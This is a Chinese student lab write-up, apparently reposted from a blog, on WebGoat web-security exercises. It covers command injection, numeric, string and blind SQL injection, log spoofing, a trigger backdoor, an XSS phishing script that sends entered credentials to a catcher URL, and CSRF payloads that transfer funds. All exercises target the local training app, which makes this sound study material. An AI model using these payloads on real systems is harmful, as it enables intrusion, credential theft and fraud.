20164319 刘蕴哲 Exp9 Web安全基础
【實驗內容】
WebGoat安裝
SQL注入攻擊
1.命令注入(Command Injection)
2.數字型注入(Numeric SQL Injection)
3.日志欺騙(Log Spoofing)
4.SQL注入(LAB: SQL Injection)
5.字符串注入(String SQL Injection)
6.數據庫后門(Database Backdoors)
7.數字型盲注入(Blind Numeric SQL Injection)
8.字符串型盲注入(Blind String SQL Injection)
XSS攻擊
1.XSS 釣魚(Phishing with XSS)
2.存儲型XSS攻擊(Stored XSS Attacks)
3.反射型XSS攻擊(Reflected XSS Attacks)
CSRF攻擊
1.跨站請求偽造(Cross Site Request Forgery (CSRF))
2.繞過CSRF確認(CSRF Prompt By‐Pass)
?
【實驗步驟】
?
[part.1]WebGoat安裝
WebGoat是OWASP組織研制出的用于進行web漏洞實驗的應用平臺,用來說明web應用中存在的安全漏洞。其運行在帶有java虛擬機的平臺之上,并提供了一系列web安全學習的教程,來指導用戶利用這些漏洞進行攻擊。下載jar包地址:webgoat-container-7.0.1-war-exec.jar(tips:我覺得網站下載的jar包有問題,前面下很慢,后面一下就下好了,然后在終端上運行不起來,我就去拷了一個jar包就好了)
首先在kali終端上,輸入指令:
netstat -tupln | grep 8080 //查看80端口是否被占用(如果有進程占用,kill進程號終止占用端口的進程)java -version //查看jdk版本(如果版本過新的話要用指令替換版本) java -jar webgoat-container-7.0.1-war-exec.jar //開啟WebGoat
可以看到我的jdk版本是11.0.3,這個版本的webgoat打開登錄后會沒有課程內容,需要手動修改一下版本:
update-alternatives --config java?然后重新開啟WebGoat服務,進行下一步,在瀏覽器中打開WebGoat登錄界面:http://localhost:8080/WebGoat(用戶名和密碼已經給出,可直接使用)
?
成功登錄后可在左側看到實踐課程
?
[part.2]WebGoat安裝SQL注入攻擊
① 命令注入(Command Injection)
點擊“Injection”-“Flaws-Command”-“Injection”
右擊右側文本框,選擇“inspect Element”對網頁源代碼進行修改,在末尾添加
"& netstat -an & ipconfig"點擊“view”,查看到命令執行結果
?
②數字型SQL注入(Numeric SQL Injection)
點擊“Injection Flaws”-“Numeric SQL Injection”
右擊復選框,選擇“inspect Element”審查網頁元素對源代碼進行修改,在城市編號“101”后面添加or 1=1
value="101" or 1=1點擊“Go”,攻擊成功
?
③ 日志欺騙(Log Spoofing)
點擊“Injection Flaws”-“Log Spoofing”
在“User Name”中填入
webgoat%0d%0aLogin Succeeded for username: admin(*利用回車0D%和換行符%0A讓其在日志中兩行顯示*)
輸入密碼后點擊“Login”
(*此外,攻擊者可以向日志文件中添加惡意腳本,腳本的返回信息管理員能夠通過瀏覽器看到。
在用戶名中輸入admin <script>alert(document.cookie)</script>,管理員可以看到彈窗的cookie信息*)
?
④字符串型注入(String SQL Injection)
點擊“Injection Flaws”-“String SQL Injection”
輸入查詢的用戶名Smith' or 1=1--
(*操作中我們使用了'提前閉合"",插入永真式1=1,且--注釋掉后面的內容,這樣就能select表里面的所有數據*)
?
⑤LAB: SQL Injection
在密碼框輸入' or 1=1 -- ,登錄失敗,這是因為密碼長度有限制
我們需要手動修改網頁設置可輸入的密碼最大長度,在密碼框右鍵選擇“inspect Element”把“maxlength”改為100
重新輸入' or 1=1 --,登錄成功
?
⑥數據庫后門(Database Backdoors)
輸入101,得到該用戶的信息
輸入的語句沒有驗證,很容易進行 SQL 注入。
輸入注入語句101; update employee set salary=10000
設置觸發器:101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com' WHERE userid = NEW.userid
由于WebGoat使用的是MySQL數據庫,不支持觸發器,因此該課程并不能在這里真正實現。
?
⑦數字型盲注入(Blind Numeric SQL Injection)
服務端頁面返回的信息只有兩種:帳號有效或無效。因此無法簡單地查詢到帳號的PIN 數值。盡管如此,我們可以利用系統后臺在用的查詢語句:“SELECT * FROM user_data WHERE userid=accountNumber;”
使用AND函數,添加一些額外的查詢條件。如果該查詢條件同樣為真,則返回結果應提示帳號有效,否則無效:
101 AND 1=1 101 AND 1=2`第一條語句兩個條件都成立,頁面返回“Account number is valid”
第二條返回“帳號無效”
利用上面的方法可以檢測PIN數值是否大于10000:101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );
如果頁面提示帳號無效,可知PIN<=10000。由此利用二分法不斷調整數值,并最終判斷出PIN 數值的大小。
最終運行到如下語句得出賬號:101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') = 2364 );
?
在查詢框中輸入2364并提交
?
?
⑧字符串型盲注入(Blind String SQL Injection)
這里我們查詢的字段是一個字符串而不是數值,同樣可以通過注入方式查找到該字段的值:101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'H' );
(*該語句使用了SUBSTRING 方法,取得pin 字段數值的第一個字母,并判斷其是否比字母“H”小。*)
經過多次測試(比較0-9A-Za-z等字符串)和頁面的返回數據,判斷出第一個字符為J。同理繼續判斷第二個字符:
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 2, 1) < 'h' );
最終,判斷出pin字段的值為Jill,提交該值。
?
[part.3]XSS攻擊
① Phishing with XSS 跨站腳本釣魚攻擊
?創建一個帶用戶名和密碼輸入框的表格如下:
<form> <br><br><HR><H3>This feature requires account login:</H3 ><br><br> Enter Username:<br><input type="text" id="user" name="user"><br> Enter Password:<br><input type="password" name = "pass"><br> </form><br><br><HR>在XSS-Phishing with XSS搜索上面代碼,可以看到頁面中增加了一個表單
現在我們需要一段腳本(這段代碼會讀取我們在表單上輸入的用戶名和密碼信息,將這些信息發送給捕獲這些信息的WebGoat):
<script> function hack() { alert("Had this been a real attack... Your credentials were just stolen." User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + ""; } </script>將上面兩段代碼合并搜索
<script> function hack() { alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+document.forms[0].user.value + "&password=" + document.forms[0].pass.value + ""; } </script> <form> <br><br><HR><H3>This feature requires account login:</H3 ><br><br> Enter Username:<br><input type="text" id="user" name="user"><br> Enter Password:<br><input type="password" name = "pass"><br> <input type="submit" name="login" value="login" οnclick="hack()"> </form><br><br><HR>在搜索到的表單中輸入用戶名和密碼,點擊登錄,WebGoat會將輸入的信息捕獲并反饋給我們。
?
② Phishing with XSS 跨站腳本釣魚攻擊
在Message中構造語句<script>alert("U have been hacked!");</script>,“Title”任意輸入。提交后可發現剛創建的Tips。
點擊“Tips”,然后會彈出一個對話框,證明XSS攻擊成功。
?
③Reflected XSS Attacks 反射型XSS攻擊
在“Enter your three digit access code”:中輸入<script>alert("Attention!!U have been hacked!");</script>點擊“Purchase”,成功顯示警告框,內容為我們script腳本指定的內容。
若我們輸入上一課程的腳本,其原理相同,也會成功。
?
[part.4]CSRF攻擊
①Cross Site Request Forgery(CSRF)
?
點擊“XSS-Cross Site Request Forgery(CSRF)”
查看頁面右下方“Parameters”中的“src”和“menu”值(分別為530和900)
在“Message”框中輸入<img src="http://localhost:8080/WebGoat/attack?Screen=309&menu=900&transferFunds=5000" width="1" height="1" />
以圖片的的形式將URL放進“Message”框,這時的URL對其他用戶是不可見的,用戶一旦點擊圖片,就會觸發一個CSRF事件,點擊“Submit”提交
(*其中語句中的&transferFunds=5000,即轉走的受害人的金額;寬高設置成1像素的目的是隱藏該圖片*)
輸入任意Title,提交后,在Message List中生成以Title命名的鏈接(消息)。點擊該消息,當前頁面就會下載這個消息并顯示出來,轉走用戶的5000元,從而達到CSRF攻擊的目的。
?
②CSRF Prompt By-Pass
點擊“XSS-CSRF Prompt By”-“Pass”
同上面的攻擊,查看頁面右下方的“Parameters”中的“src”和“menu”值(分別為485和900),并輸入任意的Title,“message”框中輸入代碼
<iframe src="attack?Screen=320&menu=900&transferFunds=5000"> </iframe> <iframe src="attack?Screen=320&menu=900&transferFunds=CONFIRM"> </iframe>
?點擊“Submit”生成以Title命名的鏈接,點擊鏈接,攻擊成功
?
?
【實驗感悟】
? 本次實驗內容都是在Webgoat平臺上進行,前面安裝jar包花費了較長時間,主要問題還是我安裝運行jar包之后,沒有檢查版本適配的問題,在替換了版本之后得以解決。本次實驗加深了我對XSS攻擊、SQL注入以及CSRF攻擊的理解。用實踐的形式讓我們能深刻理解各種攻擊的主要方法和手段,我覺得比起理論知識的學習更加深入。
?
轉載于:https://www.cnblogs.com/lyz1997/p/10926936.html
總結
以上是生活随笔為你收集整理的20164319 刘蕴哲 Exp9 Web安全基础的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Random Forest(sklear
- 下一篇: 工具类--Excel 导出poi